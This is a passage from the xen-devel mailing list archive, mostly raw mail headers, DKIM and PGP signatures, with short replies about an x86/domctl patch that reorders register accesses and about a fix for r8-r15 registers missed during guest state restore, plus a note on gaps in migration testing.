Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 1909882089;
 Mon, 20 Jul 2026 12:22:04 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=PxIgHpypjZu52avUkpXZZ3P4Glv3l0JvXDCT1DSm+BA=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=RJOzUjAs2FY07rVPEDgvKwSL5stj04E0pQ7XZfLXC6rY//cRZ/9zmxrO+kCvCeToxel/8CoGJ
 cKlMoQs5gyviutapJ4eowpXkCzssZ215u6ytt3fecmkDMuuGHOfs+Zo156n1xRWthNRkebZ7DjZ
 50naouO5jEkxUG3zqcVWedqd2AJV3sSyKVd+atABLvy0kNhKo5PHtQflp+M7wFhTvARdUpmsDcf
 z9sRh89EBi1nDBPJtFaJKR0Ju8CvSWiA2zY89uIEkNig//SS31LR9nk8QH21DEv9jakXsaf/xx+
 sczGGI2Q+cas4ytFwDJVgq0rSo7PWhg6zfLj2MMpaJag==
X-Zone-Loop: 5394329121e29a272e0b3e8636f8930430bed7c780de
x-campaign-type: default
x-transaction-id: 2a276d66-e6cf-46b0-9727-264aa4db63f1
x-swg-uid: 01-3719d7f3-f318-4bf1-84a3-75c7db6c3f10
X-Mailer: Sweego
Message-ID:
 <1784542925.8631fc262581453bbf619ec5b2062170.19f7f0c1081000edb5@vates.tech>
x-swg-bid: 1784542925.8631fc262581453bbf619ec5b2062170.19f7f0c1081000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Mon, 20 Jul 2026 12:22:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] x86/domctl: Reorder user_regs accesses for efficiency
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Jan Beulich <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
References: <20260720092238.2094500-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQ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-1-andrew.cooper3@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------90LObHJ3aNi40bZxyOnFLoGA"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784542924224
X-purgate-ID: tlsNG-d62444/1784542926-C4D44757-F268C9DE/0/0
X-purgate-type: clean
X-purgate-size: 5674

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------90LObHJ3aNi40bZxyOnFLoGA
Content-Type: multipart/mixed; boundary="------------WP005mfmPwQvPkbQtsgWQCW5";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Jan Beulich <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>,
 =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
Message-ID: <9ff44163-bc51-4aea-a97d-e730b6ccd9bf@vates.tech>
Subject: Re: [PATCH] x86/domctl: Reorder user_regs accesses for efficiency
References: <20260720092238.2094500-1-andrew.cooper3@citrix.com>
In-Reply-To: <20260720092238.2094500-1-andrew.cooper3@citrix.com>

--------------WP005mfmPwQvPkbQtsgWQCW5
Content-Type: multipart/mixed; boundary="------------b17DZbHBFK5cDuQxBPkj1yHt"

--------------b17DZbHBFK5cDuQxBPkj1yHt
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMjAvMDcvMjAyNiDDoCAxMToyMiwgQW5kcmV3IENvb3BlciBhIMOpY3JpdMKgOg0KPiBU
aGUgY3VycmVudCBvcmRlciBpcyBkZXJpdmVkIGZyb20gZXhwYW5kaW5nIFhMQVRfY3B1X3Vz
ZXJfcmVncygpIHdoaWNoIHVzZXMNCj4gdGhlIHg4Nl8zMiBjcHVfdXNlcl9yZWdzIG9yZGVy
LiAgVGhpcyBpcyBjb3JyZWN0IGZvciBvbmUgdGhlIGJsb2NrcywgYnV0IG5vdA0KPiB0aGUg
b3RoZXJzLg0KPiANCj4gSW4gb3JkZXIgdG8gd29yayB3aXRoIHRoZSBwcmVmZXRjaGVyLCBy
YXRoZXIgdGhhbiBhZ2FpbnN0IGl0LCBsb2FkcyB3YW50IHRvIGJlDQo+IGluIGZpZWxkIG9y
ZGVyLiAgTWFrZSB0aGlzIHNvIGZvciB0aGUgdGhyZWUgcGF0aHMgcmVhZGluZyBhbiB4ODZf
NjQNCj4gY3B1X3VzZXJfcmVncy4NCj4gDQo+IE5vIGZ1bmN0aW9uYWwgY2hhbmdlLg0KPiAN
Cj4gUmVwb3J0ZWQtYnk6IEphbiBCZXVsaWNoIDxqYmV1bGljaEBzdXNlLmNvbT4NCj4gU2ln
bmVkLW9mZi1ieTogQW5kcmV3IENvb3BlciA8YW5kcmV3LmNvb3BlcjNAY2l0cml4LmNvbT4N
ClJldmlld2VkLWJ5OiBUZWRkeSBBc3RpZSA8dGVkZHkuYXN0aWVAdmF0ZXMudGVjaD4NCg==

--------------b17DZbHBFK5cDuQxBPkj1yHt
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIx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bQtsgWQCW5--

--------------90LObHJ3aNi40bZxyOnFLoGA
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpd9ssFAwAAAAAACgkQZg+p0QLLz9A0
7gv/cTlzB8PMN1aoz/Bdd+Af6tVbWoXp3UGe4/f5hHWpKHsG8k4fzt88LtR2bNOW1TnJPwACe1V+
pwwsxUOBl+YDYYv0na7kMRdqD4PyHiD/mkY7wbLo5S34O1etdPJ+pQNrOq6g9pZ17nqrsq+RumUe
hzNkfnZ8J4NLucDjb9gWhvydSB57aSFDt+9pu577NwtcSeqP8gnP7doMX7auGKTcPr7FnWn2dCou
bLnxNpmAyP8oVRdX3S3iakImqTzr7rW/7jdDl7l6QbHNUMswQezL1xPqTbYvFM5EGZtLqQSs6tQn
iH+LGU4e5kQXDlzmAtp3DtoM1UcF9S7yFqytFSjGGzpAtc6YoU+0iTtzhEUbtXNVZbvw4kajjZHH
3faXfo+NZALtuGdC6NSNiL3E8fmGAbR454AeUEdOV5jsCmvql6mv4mp0IPp/pE90UJ8+gPrbwixw
+bbmFOfzG3QLhUaqiVvPBJ8zdLh/1mW65n/KfgiiwHY9iecme8cGr6pHcdbZ
=pDAs
-----END PGP SIGNATURE-----

--------------90LObHJ3aNi40bZxyOnFLoGA--


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 10:26:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 10:26:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366475.1616364 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllD1-0005BL-Hm; Mon, 20 Jul 2026 10:26:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366475.1616364; Mon, 20 Jul 2026 10:26:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllD1-0005BE-EM; Mon, 20 Jul 2026 10:26:51 +0000
Received: by outflank-mailman (input) for mailman id 1366475;
 Mon, 20 Jul 2026 10:26:50 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wllCz-0005B8-Ow
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:26:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wllCy-006opm-IQ
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 12:26:49 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5df7d8-5cb7-0a2a0a5109dd-0a2a4508a5a2-28
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:26:48 +0200
Received: from [103.168.172.155] (helo=fhigh-a4-smtp.messagingengine.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5df7e6-f659-0a2a45080019-67a8ac9bbebd-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:26:47 +0200
Received: from phl-compute-04.internal (phl-compute-04.internal [10.202.2.44])
 by mailfhigh.phl.internal (Postfix) with ESMTP id A6D4414000C4;
 Mon, 20 Jul 2026 06:26:46 -0400 (EDT)
Received: from phl-frontend-03 ([10.202.2.162])
 by phl-compute-04.internal (MEProxy); Mon, 20 Jul 2026 06:26:46 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Mon,
 20 Jul 2026 06:26:44 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm2; t=1784543206;
	 x=1784629606; bh=pPfGZE2h+4xEPuHdc1ju7sCSPDIBxougu+5pCGVFlr8=; b=
	zbysK/t1dcahW9Fy9aiMxXKyQwJ2munuWnXRwGebENKOZJO7f2icillZYM8/BO/W
	VQ6Gw3BtJBLF8D7fkvZ0NaDf+lQyn7OTs3P2G200Mu3Sooxk+NTU/bX2NdSBIEtP
	rmnyurTKw0vHOEtkOYlY+eVOpcP2HkZJvYdz0uEeVozd1Ji8CvAnQrONxTY78lGO
	hN8EEwOtyL4AMpI0HgDzaTlxsZlMSuCrYcNo9lZdIApBiaJQxu/jWoB0/HIgdz+O
	ZdrsNKy+VG37o6WkFEU2yY/KRqpXkwuEU9xCKn/KhK5rg1sKQUGHlZ2J+AR22VD9
	mM4Da+183CM3TwFrAkI4aw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1784543206; x=1784629606; bh=pPfGZE2h+4xEPuHdc1ju7sCSPDIBxougu+5
	pCGVFlr8=; b=TShg0qnsBhcLz0TxgFmcAPyGj0gdMc4PgmzXF+cvCNAhK7tkkpX
	Pjyv37WN/E+aEnLzYSBfSCciPgC7cswshq2t+0MERHG2e8vXg5FxmCcwsU3ItP/e
	PJNJbxjmS9fTVVuVdPkfQzjhU4s2EVgfgPLZDbhczL8GUiEig/K4lD0QHEESE1sg
	xOkzX76XqTfZjYUcjG+pg+4XOQqMBVyYkanSti1lqrBCyr46i0K4QuPgW2VtuvA6
	gz5mugwh5BEM/ySCsCKNUWKAbLAe8DaHtWWzLjSjS0s5K+Wmyx1TTY1ihxdWlGIb
	QAUS+pGXebuIY3T7M9ToxfEW87KXnEdOsQg==
X-ME-Sender: <xms:5vddaunF4dsuQ0-MHYcqSZwLSn1bWNSYtt_YjlH7OXz50tSrAIyjwg>
    <xme:5vddaoGeivbfaftceqqaY41rpYpnXJxTTSph-jUHiDTdM4XpgBDNJUD6eVe4WYRVr
    0-GGtNtq8RSa0diz3vG33cbXwiS8DSx17JELK97WUOpSm8l>
X-ME-Received: <xmr:5vddau4-nWslDRl9J7fL3si2gKhCUG2qMVpScJhc-P3U6LUy-mHEBAJabxJam78i0T7skIzpaaRMvV98AzSPSLCfU6fTF_Q3x-Q>
X-ME-Proxy-Cause: dmFkZTE35h047GjmKz65lwAggilpKqKcmpOWL0g1kCxRvCPjbqdrxSy3bRzou1lyyvavEG
    lJpGR0QTTbepVufYSOSQ6ndmsKrHijYz/z44oZc1fKo/E3bk3TmrcyMRLwu5wV+iP0Esh1
    1XCku0e3+jZfYEoulSpFWdP/JZzBtxLn6AbA8pO5Dr0xuSGelA6o/Pj+KA4jNB7ptA4vmJ
    0uaKTdpTiphOguo2TxS16u6mi+aJFn4CsVXByWImHQjnDqcrsR+TpeWHdKUUDswB2cN257
    POTCuxPT70/PfM4dlWPqQmWnyUccugCZ+dlsmsd1/fbXbKf0nJNKFiIm62vnfsbqENqOfp
    ujujF5h6SFvrRJzBWZEP9+1JldktPrMuz6++oJcFTP8IpHD5ngp7BRf7jOiUH/dvcDfSei
    bhfICuRWtJ68pDz6XskaDVYQchZijCDUzo91oQrlhfTFeLoLCUcEyxH7h/4ly3BcwyRNA4
    KzlOOhk9kE9q63OOQvy1XVg/IYA8GRdtbxhl9yICCDeXGvPf8QhbO9Fgci6d0rOI5oF2r5
    8+jfKeb5R+r1D6ZRAWeZ8voAFDYrGPlkWb3wXWSbmp1rboTlsnKXzBEwixpk/dMZ5MLjJM
    OWx35TgQjWKGBgsglu1yEe/5u6stjFc32QeXYAs3GGBtoZ2bD0h6PqdL4Qdg
X-ME-Proxy: <xmx:5vddaokNlQ72DF40vGkGnidLmeAciDVhzvJ86aFHFbsoOtrfBwHW4g>
    <xmx:5vddarqtoK9IGLOe9PoEXZW_rgngK3iJayeyRZ5dLtcyePdm5AF-1A>
    <xmx:5vddavtzROlDdtC1zzVCKlYxgdustV9F5-KRsrISfStoLQPrvClU7w>
    <xmx:5vddaoE_l9ujt6kXTtF_1L23Zbcp4oQTlQQONjA0Q8DUMwnfcsRrHQ>
    <xmx:5vddapK67MNtgSqdHqawCTuy8Sz0RZ3kP2mOF-HA3PiJZ6Z-MImp72ij>
Feedback-ID: i1568416f:Fastmail
Date: Mon, 20 Jul 2026 12:26:42 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Roger Pau =?utf-8?B?TW9ubsOp?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	xen-devel@lists.xenproject.org
Subject: Re: [4.22] Re: [PATCH] x86/domctl: restore all registers in
 arch_{get,set}_info_guest()
Message-ID: <al334sTLWh8sNmbV@mail-itl>
References: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
 <83ac6e9b-3aaf-402d-9877-2ed63d365367@suse.com>
 <f0d40078-4e00-4307-84ae-1d5c65346af7@citrix.com>
 <CAHt6W4cM2sYhUsu7Z3KZzMyF3JKzjHLm_orDmjEs+y4hpT98Zg@mail.gmail.com>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="nKr41kE0KMCj0I53"
Content-Disposition: inline
In-Reply-To: <CAHt6W4cM2sYhUsu7Z3KZzMyF3JKzjHLm_orDmjEs+y4hpT98Zg@mail.gmail.com>
X-purgate-ID: tlsNG-c1860d/1784543208-D775B87B-A54D311D/0/0
X-purgate-type: clean
X-purgate-size: 2830

--nKr41kE0KMCj0I53
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Mon, 20 Jul 2026 12:26:42 +0200
From: Marek =?utf-8?B?PT91dGYtOD9RP01hcmN6eWtvd3NraS1HPUMzPUIzcmVja2k/PQ==?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Roger Pau =?utf-8?B?PT91dGYtOD9CP1RXOXVic09wPz0=?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	xen-devel@lists.xenproject.org
Subject: Re: [4.22] Re: [PATCH] x86/domctl: restore all registers in
 arch_{get,set}_info_guest()

On Mon, Jul 20, 2026 at 10:59:00AM +0100, Frediano Ziglio wrote:
> On Mon, 20 Jul 2026 at 10:09, Andrew Cooper <andrew.cooper3@citrix.com> w=
rote:
> >
> > On 20/07/2026 8:19 am, Jan Beulich wrote:
> > > On 20.07.2026 02:12, Marek Marczykowski-G=C3=B3recki wrote:
> > >> Commit 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
> > >> converted memcpy() of the cpu_user_regs structure to explicit copy of
> > >> its fields. In the compat case, it intentionally missed few of them,
> > >> named in the commit message. But the 64bit case missed also r8-r15
> > >> registers, which was not intentional. This, at least, caused Linux
> > >> 6.18.x crash when resuming PVH domU.
> > > Oh, wow, what a bad mistake (including by me as the reviewer).
> >
> > Yes, I'm very embarrassed by this mistake.  It also highlights a serious
> > gap in testing which we need to address.  We've managed a release and a
> > half with PV migration plain broken before figuring out why.
> >
> ...
>=20
> Is migration tested by CI or just for some reason this was not captured?

It was in osstest, but it isn't in gitlab. I'll cleanup my current test
and submit it, but I'd really appreciate committing the (reviewed/acked)
test-artifacts series[1], as some of the pending tests depend on it
(although the suspend one doesn't).

[1] https://lore.kernel.org/xen-devel/ah24pfWb_orPRaJG@mail-itl/

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--nKr41kE0KMCj0I53
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmpd9+IACgkQ24/THMrX
1yyYMAf/UurMsPt1UcHRVAzCR327cixupl2mtchHiIqYZih3W6HwvV+vhxC5RROV
KJlXdpwykKuMOvy/SHmauyqsvQnzcBwXYch1nOvZEYURBJqN897xYY3BfNAAyCYz
svEC8HKb2SM+/kFJ9XUaE3FQIAEFKIejvzXUiowOR+z+U1uROlWGo+VeLEyTMTSj
Df3Yl7rSjsbMi2XrdRCe+fQvbep3OVu/xl3oPdj9CwI2W2e8rL4dXitdVC+UO4ES
BqhaI3jUax/onsVeI9f5mZpKm9VzKGuMdepQaPfdJj3HA/WR9iAx3QHevjAytIz2
RWEJ49LS/adrTaKnT3LCCV/2ixWEpQ==
=9BWr
-----END PGP SIGNATURE-----

--nKr41kE0KMCj0I53--


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 10:29:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 10:29:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366483.1616372 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllFA-00060J-Sx; Mon, 20 Jul 2026 10:29:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366483.1616372; Mon, 20 Jul 2026 10:29:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wllFA-00060C-P6; Mon, 20 Jul 2026 10:29:04 +0000
Received: by outflank-mailman (input) for mailman id 1366483;
 Mon, 20 Jul 2026 10:29:03 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wllF9-0005zo-DR
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:29:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wllF8-00GUEy-QV
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 12:29:02 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a5df861-e002-0a2a0a5209dd-0a2a4503ed0e-40
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:29:02 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a5df86e-fae8-0a2a45030019-d155dd2ad936-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:29:02 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-47f71156e1aso595903f8f.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 03:29:02 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63e65644sm27469406f8f.16.2026.07.20.03.29.01
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 20 Jul 2026 03:29:01 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784543342; x=1785148142; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=aJSBu+o6iIRDp5321QLe+PQzf5+ZDn1LJAcsjtQtgFo=;
        b=Dq2UhlWxjyIuxDpxAuMfDu8vVNJAUIUDsj6nu1x5qLoXSUrGMDFGYFPGLNr6axmOiC
         BYKEGQ9DIywco5UV4uHvd2t7S8hEd2n9vuzuJs+pO/hh6sJSA4SYNIz04n7nHSJsZ4dE
         KV8IPatQi1WoWMeV82TAz5IRlR38C4cacDFYT1dOUPQ/Ncqv2cPtQdkLNLiQj0jJIwPm
         QjTpkncaul5SOCslbYk6DO4f2mGAXOtaGWUhnpTBp6IYvR+eIFVhAmww+jzVLD2oGisF
         gL1LFWU6qoA2pBY7eqrAsExT6y4J7aBDGNiMyvARq4rGzSRvxQYNwT3i1tGgonKvyaZ6
         5FhQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784543342; x=1785148142;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=aJSBu+o6iIRDp5321QLe+PQzf5+ZDn1LJAcsjtQtgFo=;
        b=GX/TMqvaIKFIcXK/a5isfV3wRoxuY1nVmrodGBArAq5s0KruM7D4ES3ZxVATbFmavV
         ZDD6zl4gse7cSppWc05gMOPwkpmWgt+8Pr/ePliMAt2W59Rud5C9fZgxDWBArtw9vw+3
         B+txHV8pQNKdnzdfTc+EUxsqxWh67rG2azg67Kt3v89xbqxEHzlHbkd4lfIqbXeNM6Es
         Bf24P9upjmIHOo5iewH1J9gnPbQhwJ4wbUqXDnG4OYy8a5N1T9GqEAUwdbHIOndp8XVt
         SpfOz7GF2qSTCImvvX4XuNrNECb2tVdI1oZbBq33sKyt8RENVjJigHMQLlugBI1M/kWn
         akqg==
X-Forwarded-Encrypted: i=1; AHgh+Ro04PgdGcd3PpclR2D6vpVbLwtIcHF3TPiHbYav0HT6C17/17L1mlGGCiyb2G5Zcq1G4VYD+9Oc5L0=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx1gRKNc+WfuYZhlKyxgMBtBmFcnSssmnIyH5xXsDdLtGznHjCX
	4Sp8NkWoyyIktHtIVo0we7xVhB5UD473c3sR79Ddm7BKDsr+VRBX02K11XgTfvzdETA=
X-Gm-Gg: AR+sD12l0UKdeUh7Z3FmKkyQzHkvJ5JNNIT50EXWpLKys5xqtz3c7uwjOPxNDrtslIQ
	QUPPl5ocejI3RCq9A+FkXZ+p8O/x4MUTy8C43nEewPwQJn8Yg9r5fHREqmxtUwdMHjXKgf6iPXN
	prhFYDUaW335rz1eTiLNXNrHT2tIlfnCTSo0BEVg6HSojJxoOKj8+t0d1dalyQglPQSN6yGVHIB
	MzNh57Gl/zIxF4RUetna7pGG+Eo4CmtdhxfDzPbIjoZKSeQYENqp1NU/amXOhGB9ES/6RY/GNDK
	MhrCv5Eg6HgAONP+bo1xXUicpwnJ/egt10yN6WNWs8K6BTQRKiz9R0EjkhWhaZh55XALbukhgGo
	7LWHH0S9tgtlp8hxZOEAXMSKmAly+/KGqc7XqppaD6H47vrSDvd1ozB1zmbhVvaenief+2ZMxEO
